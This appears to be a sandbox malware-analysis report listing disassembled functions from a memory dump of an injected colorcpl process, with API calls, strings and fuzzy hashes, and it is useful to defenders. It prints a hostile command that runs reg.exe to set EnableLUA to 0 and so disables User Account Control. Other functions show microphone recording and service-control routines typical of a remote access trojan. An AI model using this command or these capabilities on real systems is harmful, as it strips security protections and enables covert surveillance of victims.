Opcode ID: eb63a02fc8ec0c65f6c14a7b6929dbd3a96089f7ecd424f5bf43381294bdf837
Instruction ID: fdb8e16a7eca910b236fd8e672b2edd0b8a6b73192024de05d4b63cc041dfac6
Opcode Fuzzy Hash: eb63a02fc8ec0c65f6c14a7b6929dbd3a96089f7ecd424f5bf43381294bdf837
Instruction Fuzzy Hash: 7421073A912205EBDE14FBA8D5048DDB7AC9F89224B20059BE911EF290DF709E4197D0

Function 030D5725 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,030C8595,?,?,?,030C8C17,030C988A,?,03101E78), ref: 030D5729
_free.LIBCMT ref: 030D575C
_free.LIBCMT ref: 030D5784
SetLastError.KERNEL32(00000000,?,03101E78,?,?,?,?,?,?,?,?,?,030C988A,00000000,030A52D9,00000000), ref: 030D5791
SetLastError.KERNEL32(00000000,?,03101E78,?,?,?,?,?,?,?,?,?,030C988A,00000000,030A52D9,00000000), ref: 030D579D
_abort.LIBCMT ref: 030D57A3

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: d12686e41b112e3702be209c5dda1d1b6bfcabd7472262c42fac7bfadf88380c
Instruction ID: 16693f63ab84e386edcc1afdddfaf16610bf718a2c6e22c3115d09b0dc16f061
Opcode Fuzzy Hash: d12686e41b112e3702be209c5dda1d1b6bfcabd7472262c42fac7bfadf88380c
Instruction Fuzzy Hash: 6FF02D3D243711ABC252F6387C48BAF2ADD9BC3661F390054FD19DE144EF2584018E31

Function 030A8B60 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,030A8559,00000000), ref: 030A8B6F
OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,030A8559,00000000), ref: 030A8B83
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A8559,00000000), ref: 030A8B90
ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,030A8559,00000000), ref: 030A8B9F
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A8559,00000000), ref: 030A8BB1
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A8559,00000000), ref: 030A8BB4

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 1adba0bfe8819273286f3291fce56262ae97b57da26c7b7f38a9f9c743779ecd
Instruction ID: be81b35fcf281cc9446be6ff24319666f96ca545c965d95197012536d71ca92f
Opcode Fuzzy Hash: 1adba0bfe8819273286f3291fce56262ae97b57da26c7b7f38a9f9c743779ecd
Instruction Fuzzy Hash: 5DF0C27164322C6FE610FAA4BC49EBF3BACDB96A62B000056FA099A140DB298D0595A0

Function 030A8BC7 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,030A84D9,00000000), ref: 030A8BD6
OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,030A84D9,00000000), ref: 030A8BEA
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A84D9,00000000), ref: 030A8BF7
ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,030A84D9,00000000), ref: 030A8C06
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A84D9,00000000), ref: 030A8C18
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A84D9,00000000), ref: 030A8C1B

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 921cf6a5252528673eab2984187d610012930ed01bfa5c61d1da1d5ce0689899
Instruction ID: 06487fa8c54d56339521bf385032abdf2ae41092f0231f6ff9a158864305c4c5
Opcode Fuzzy Hash: 921cf6a5252528673eab2984187d610012930ed01bfa5c61d1da1d5ce0689899
Instruction Fuzzy Hash: 88F0C27164322C6FE611FB68BC49EBF3FACDB85A61B000056FA099A144DF298D0599A0

Function 030A8A5C Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,030A85D9,00000000), ref: 030A8A6B
OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,030A85D9,00000000), ref: 030A8A7F
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A85D9,00000000), ref: 030A8A8C
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,030A85D9,00000000), ref: 030A8A9B
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A85D9,00000000), ref: 030A8AAD
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A85D9,00000000), ref: 030A8AB0

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: c07270d58c0b9d10c8c8891556c6fabbaa1322a31ed5ff1ae82707b0e001c982
Instruction ID: 4394f175489d114bf2127120a92f473f0710e0df39ca6b1de769cd1f7f1b2baf
Opcode Fuzzy Hash: c07270d58c0b9d10c8c8891556c6fabbaa1322a31ed5ff1ae82707b0e001c982
Instruction Fuzzy Hash: E1F0C23164322C6FE610FAA4BC49EBF3BACDB95A62F000056F9098A141DB298D4595E0

Function 030AB2C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegisterClassExA.USER32(00000030), ref: 030AB310
CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 030AB32B
GetLastError.KERNEL32 ref: 030AB335

Strings

MsgWindowClass, xrefs: 030AB2DB
0, xrefs: 030AB2E0

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ClassCreateErrorLastRegisterWindow
String ID: 0$MsgWindowClass
API String ID: 2877667751-2410386613
Opcode ID: 0e3882353627e1e0f7eb399730f985deb860ad2cb3f5f7241ce24bf4e79bbf4b
Instruction ID: 2b50f196c1c6194ce3320c8ed8d509db84d5ca8dda2ef896ee80bee0d476c7e8
Opcode Fuzzy Hash: 0e3882353627e1e0f7eb399730f985deb860ad2cb3f5f7241ce24bf4e79bbf4b
Instruction Fuzzy Hash: 55015EB2D0121CAFDB10DFE5ECC49EFBBBCFB04254F40052AF910A6240E77549048BA0

Function 0309E501 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?,?,?,?,?,00000000,03101FFC), ref: 0309E547
CloseHandle.KERNEL32(?,?,?,?,?,00000000,03101FFC), ref: 0309E556
CloseHandle.KERNEL32(?,?,?,?,?,00000000,03101FFC), ref: 0309E55B

Strings

C:\Windows\System32\cmd.exe, xrefs: 0309E542
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 0309E53D

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
API String ID: 2922976086-4183131282
Opcode ID: 3b3a826143a8d89ef10c8c51f4872d74a069067c9615c70075ec7f133bf9dcf4
Instruction ID: b07bb6978ab5a4ddff8e5ace944a20e297fbac4e2ee6862fbabfa8e910ddbc60
Opcode Fuzzy Hash: 3b3a826143a8d89ef10c8c51f4872d74a069067c9615c70075ec7f133bf9dcf4
Instruction Fuzzy Hash: 45F06276E0129C7ACB20EAD7AC0DEDF7F3CEBC5B10F00001ABA14AA014D5756400CAB0

Function 030D083A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,030D07EB,?,?,030D078B,?,030FB4F8,0000000C,030D08E2,?,00000002), ref: 030D085A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 030D086D
FreeLibrary.KERNEL32(00000000,?,?,?,030D07EB,?,?,030D078B,?,030FB4F8,0000000C,030D08E2,?,00000002,00000000), ref: 030D0890

Strings

CorExitProcess, xrefs: 030D0865
mscoree.dll, xrefs: 030D0853

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 889affaebbbee54f9e191c4be089816e4684ed7e38999941c115ddcc30742717
Instruction ID: 395a2edf1142dff80272d1b49fa6c853120bd50f5116e7e47b74a05bc470952e
Opcode Fuzzy Hash: 889affaebbbee54f9e191c4be089816e4684ed7e38999941c115ddcc30742717
Instruction Fuzzy Hash: 40F04431B0221CBFCB15EFA4E849BAEBFF4DF14651F444169F809AA150DB359A40CA90

Function 030950C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,03101E90,03094E5A,00000001,?,00000000,03101E90,03094C88,00000000,?,?,?), ref: 03095100
SetEvent.KERNEL32(?,?,00000000,03101E90,03094C88,00000000,?,?,?), ref: 0309510C
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,03101E90,03094C88,00000000,?,?,?), ref: 03095117
CloseHandle.KERNEL32(?,?,00000000,03101E90,03094C88,00000000,?,?,?), ref: 03095120

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

Strings

Connection KeepAlive | Disabled, xrefs: 030950D9

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
String ID: Connection KeepAlive | Disabled
API String ID: 2993684571-3818284553
Opcode ID: 4c3e969a111a3911c4a610e2cdf9fa3f25ea457eeeb10e96bbc205254d9ca7aa
Instruction ID: e0bf678a101250c48ab48995a83e4181822111c3541fb8eb63a286041758a7fa
Opcode Fuzzy Hash: 4c3e969a111a3911c4a610e2cdf9fa3f25ea457eeeb10e96bbc205254d9ca7aa
Instruction Fuzzy Hash: 4EF02B75A027047FFF11B7749C0996E7F9CAB53620F000D0EF8924A661C5699440D751

Function 030A8D76 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

GetModuleHandleA.KERNEL32(00000000,00020009), ref: 030A8DA8
PlaySoundW.WINMM(00000000,00000000), ref: 030A8DB6
Sleep.KERNEL32(00002710), ref: 030A8DBD
PlaySoundW.WINMM(00000000,00000000,00000000), ref: 030A8DC6

Strings

Alarm triggered, xrefs: 030A8D7F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: PlaySound$HandleLocalModuleSleepTime
String ID: Alarm triggered
API String ID: 614609389-2816303416
Opcode ID: 754f623124fa944fdbca557e3d6e99e57a099e59aa007c455f8b5ed5910064e5
Instruction ID: 0e5426dfa56dfebeeb0dbc4edda121dda0454f6ace02fb2eda743118b3fa4e0e
Opcode Fuzzy Hash: 754f623124fa944fdbca557e3d6e99e57a099e59aa007c455f8b5ed5910064e5
Instruction Fuzzy Hash: 91E0122AB422583BE51473AA7D0FC6F2E2DDAD3A61701045EFA045F545DA55180186F2

Function 030CBB4A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3415ee55ed9505d1b3ab9b48190d5b8b33a73f9ef81cd93975c4e08b8992d4e4
Instruction ID: 313f421c8dc53630d11e1b6d82759516785a3ed36ea63e41c4bcbebd91134f16
Opcode Fuzzy Hash: 3415ee55ed9505d1b3ab9b48190d5b8b33a73f9ef81cd93975c4e08b8992d4e4
Instruction Fuzzy Hash: 9B71F631D22296DBCB61DF94C8956FFFBB9EF41310F18066DE8116B180EB718941CBA1

Function 030D220D Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 030D3649: RtlAllocateHeap.NTDLL(00000000,030C3069,?,?,030C65E7,?,?,?,?,?,0309C88A,030C3069,?,?,?,?), ref: 030D367B

_free.LIBCMT ref: 030D2318
_free.LIBCMT ref: 030D232F
_free.LIBCMT ref: 030D234E
_free.LIBCMT ref: 030D2369
_free.LIBCMT ref: 030D2380

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: ee7281218bfeeb36143bd6dc934d9bd55be6553ea3d51147a5aac5d778c19fc2
Instruction ID: f0285101ac5ba42a3c0a95912e88aabf5738fa876d7dfeee53ed6aa6f3de965f
Opcode Fuzzy Hash: ee7281218bfeeb36143bd6dc934d9bd55be6553ea3d51147a5aac5d778c19fc2
Instruction Fuzzy Hash: A951C576A02708AFDB61DF69CC41BAAB7F8EF49720F144999E809DB650E731E901CB50

Function 030D6894 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,030EC1E4), ref: 030D68FE
WideCharToMultiByte.KERNEL32(00000000,00000000,030FF754,000000FF,00000000,0000003F,00000000,?,?), ref: 030D6976
WideCharToMultiByte.KERNEL32(00000000,00000000,030FF7A8,000000FF,?,0000003F,00000000,?), ref: 030D69A3
_free.LIBCMT ref: 030D68EC

Part of subcall function 030D3C92: RtlFreeHeap.NTDLL(00000000,00000000,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?), ref: 030D3CA8
Part of subcall function 030D3C92: GetLastError.KERNEL32(?,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?,?), ref: 030D3CBA

_free.LIBCMT ref: 030D6AB8

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: a96d5b0b9666dcacbf3e43c29fa8ab43c71dfd93116c83baf6b61b4584d9b23a
Instruction ID: 43b1147c82912ccd9ec06ba926dd7c588ad47daa8539ec5ee06bcfabd4436582
Opcode Fuzzy Hash: a96d5b0b9666dcacbf3e43c29fa8ab43c71dfd93116c83baf6b61b4584d9b23a
Instruction Fuzzy Hash: E751D77590231EEFCB10EFA9DC809AEF7FCEF41310B5402AAE4559B694E7369940CB50

Function 030D12F9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 030D136B
_free.LIBCMT ref: 030D138B

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4c4f48fbdf77350c5fe314ecaad07e633de2b7878cd5e24dc1898319db3719e0
Instruction ID: fd8c860acacacf1b03e5cd71a08744582662fb1fab6bbf8ccdc56f2ecbf64bef
Opcode Fuzzy Hash: 4c4f48fbdf77350c5fe314ecaad07e633de2b7878cd5e24dc1898319db3719e0
Instruction Fuzzy Hash: 2041B236E02304AFDB18DF78C884A9DB7F6EF85710B1945A9EA55EF640DB31E901CB80

Function 030DE30C Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(03101E78,00000000,?,?,00000000,00000000,030C988A,?,00000000,03101E78,00000001,?,?,00000001,030C988A), ref: 030DE359
__alloca_probe_16.LIBCMT ref: 030DE391
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 030DE3E2
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,030C8C3F,?), ref: 030DE3F4
__freea.LIBCMT ref: 030DE3FD

Part of subcall function 030D3649: RtlAllocateHeap.NTDLL(00000000,030C3069,?,?,030C65E7,?,?,?,?,?,0309C88A,030C3069,?,?,?,?), ref: 030D367B

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 0fb2fd09fb7647f5b0b965d4e1e67e8e02e9066c558a0b2f12216ef6780c2557
Instruction ID: e2bbe777b9108692c4904123ccf3811bfdc45c686df0875b227a2f161f74d6ac
Opcode Fuzzy Hash: 0fb2fd09fb7647f5b0b965d4e1e67e8e02e9066c558a0b2f12216ef6780c2557
Instruction Fuzzy Hash: 88318D72A1231AABDF25DF69DC88DFE7BE5EF40610B084168EC05DE290E739D950CB94

Function 03091BC9 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 03091BD9
waveInOpen.WINMM(030FFAB0,000000FF,030FFA98,Function_00001CEB,00000000,00000000,00000024), ref: 03091C6F
waveInPrepareHeader.WINMM(030FFA78,00000020), ref: 03091CC3
waveInAddBuffer.WINMM(030FFA78,00000020), ref: 03091CD2
waveInStart.WINMM ref: 03091CDE

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
String ID:
API String ID: 1356121797-0
Opcode ID: 0d19602e6f8d91825e5490605bb74e74f9fae19e18eb77aa73627bcd33fc9a16
Instruction ID: 197b809cb23aa72a0cb5ec22ea035785c64cc77c5c055556a74bd70af535671e
Opcode Fuzzy Hash: 0d19602e6f8d91825e5490605bb74e74f9fae19e18eb77aa73627bcd33fc9a16
Instruction Fuzzy Hash: 4F214AF6603207AFD718FF25B81495A7BA5EB98F10700422AA205DBEA8DBBC4401DB04

Function 030DC53A Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 030DC543
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 030DC566

Part of subcall function 030D3649: RtlAllocateHeap.NTDLL(00000000,030C3069,?,?,030C65E7,?,?,?,?,?,0309C88A,030C3069,?,?,?,?), ref: 030D367B

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 030DC58C
_free.LIBCMT ref: 030DC59F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 030DC5AE

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 5146da218e0b25e975825ec037f09a3ba724ed638471fb6643b77df3aa8e3080
Instruction ID: 0b14a51f5978dcd864803b0eaf3fe599846d2112c1581f853d9cb79c76ffb7ef
Opcode Fuzzy Hash: 5146da218e0b25e975825ec037f09a3ba724ed638471fb6643b77df3aa8e3080
Instruction Fuzzy Hash: CF01D8767037157F3721D6AB6C4CCBF6AEDCAC6EA03180169F904C6108DE659D41C5B0

Function 0309FBC8 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0309FBD5
int.LIBCPMT ref: 0309FBE8

Part of subcall function 0309CAE9: std::_Lockit::_Lockit.LIBCPMT ref: 0309CAFA
Part of subcall function 0309CAE9: std::_Lockit::~_Lockit.LIBCPMT ref: 0309CB14

std::_Facet_Register.LIBCPMT ref: 0309FC28
std::_Lockit::~_Lockit.LIBCPMT ref: 0309FC31
__CxxThrowException@8.LIBVCRUNTIME ref: 0309FC4F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
String ID:
API String ID: 2536120697-0
Opcode ID: 48749681d6acca856660be0da7958483850db7c38e0d396f7a914b38dfc0ce57
Instruction ID: 7c379e02b5e997e1146388a7cd18f277bd1f8a6eb93da49b9bc8bddf07ea979f
Opcode Fuzzy Hash: 48749681d6acca856660be0da7958483850db7c38e0d396f7a914b38dfc0ce57
Instruction Fuzzy Hash: CB11067A912319ABDF24FBA4D5048DEB7A8DF84260B14859BEC10EF250DE70DE42D7D0

Function 030D57A9 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00000000,030C9A11,00000000,?,?,030C9A95,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 030D57AE
_free.LIBCMT ref: 030D57E3
_free.LIBCMT ref: 030D580A
SetLastError.KERNEL32(00000000), ref: 030D5817
SetLastError.KERNEL32(00000000), ref: 030D5820

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2237fc242f810dba63741aa3e9fdc965915c17a1b2d1ff1c2ded4e29782abe85
Instruction ID: 3e81b4561523ffd2b571c93164998a2a378ee30156b640974c4d5fee7bb0d220
Opcode Fuzzy Hash: 2237fc242f810dba63741aa3e9fdc965915c17a1b2d1ff1c2ded4e29782abe85
Instruction Fuzzy Hash: 4D01493A243B056BC312F538BC88E6F26DDDBC3A71B354064FC16AA140EF3988018731

Function 030DDB9C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 030DDBB4

Part of subcall function 030D3C92: RtlFreeHeap.NTDLL(00000000,00000000,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?), ref: 030D3CA8
Part of subcall function 030D3C92: GetLastError.KERNEL32(?,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?,?), ref: 030D3CBA

_free.LIBCMT ref: 030DDBC6
_free.LIBCMT ref: 030DDBD8
_free.LIBCMT ref: 030DDBEA
_free.LIBCMT ref: 030DDBFC

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e5f479ed867e8adfd287ec645889495a282beb6b2ea523057e7d13095bba3b77
Instruction ID: 547d8d103ad0f9726b01a75fb204513746efc68871076ff90d2e6c8f2fb94654
Opcode Fuzzy Hash: e5f479ed867e8adfd287ec645889495a282beb6b2ea523057e7d13095bba3b77
Instruction Fuzzy Hash: C1F09036603314EF9660FA6DE589E6AF3DAFF407617699845F085DB900CF38F8808B61

Function 030D1548 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 030D1566

Part of subcall function 030D3C92: RtlFreeHeap.NTDLL(00000000,00000000,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?), ref: 030D3CA8
Part of subcall function 030D3C92: GetLastError.KERNEL32(?,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?,?), ref: 030D3CBA

_free.LIBCMT ref: 030D1578
_free.LIBCMT ref: 030D158B
_free.LIBCMT ref: 030D159C
_free.LIBCMT ref: 030D15AD

Memory Dump Source

